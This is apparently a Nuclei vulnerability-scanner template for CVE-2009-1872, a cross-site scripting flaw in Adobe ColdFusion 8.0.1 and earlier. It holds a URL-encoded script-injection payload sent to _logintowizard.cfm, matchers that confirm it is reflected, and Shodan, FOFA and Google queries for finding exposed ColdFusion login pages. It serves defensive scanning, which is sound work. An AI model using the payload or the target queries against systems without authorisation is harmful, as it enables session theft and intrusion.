id: CVE-2009-1872

info:
  name: Adobe Coldfusion <=8.0.1 - Cross-Site Scripting
  author: princechaddha,s4e-io
  severity: medium
  description: Adobe ColdFusion Server 8.0.1 and earlier contain multiple cross-site scripting vulnerabilities which allow remote attackers to inject arbitrary web script or HTML via (1) the startRow parameter to administrator/logviewer/searchlog.cfm, or the query string to (2) wizards/common/_logintowizard.cfm, (3) wizards/common/_authenticatewizarduser.cfm, or (4) administrator/enter.cfm.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Adobe Coldfusion to a version higher than 8.0.1 or apply the necessary patches provided by the vendor.
  reference:
    - https://www.tenable.com/cve/CVE-2009-1872
    - http://www.adobe.com/support/security/bulletins/apsb09-12.html
    - http://www.dsecrg.com/pages/vul/show.php?id=122
    - https://nvd.nist.gov/vuln/detail/CVE-2009-1872
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2009-1872
    cwe-id: CWE-79
    epss-score: 0.1614
    epss-percentile: 0.96518
    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - title="coldfusion administrator login"
      - app="adobe-coldfusion"
    google-query: intitle:"coldfusion administrator login"
  tags: cve2009,cve,adobe,xss,coldfusion,tenable,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/CFIDE/wizards/common/_logintowizard.cfm?%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: body
        words:
          - "ColdFusion"
        case-insensitive: true

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a3ea9280102ebe61b93fe7a3670bec1d9750d06b2a37b046f4660e4100e3b70302203efc2ebc6f1dbbad1faa3ecb20f07aaff4ed958e58e9f206f70450ff4e0d3c5f:922c64590222798bb761d5b6d8e72950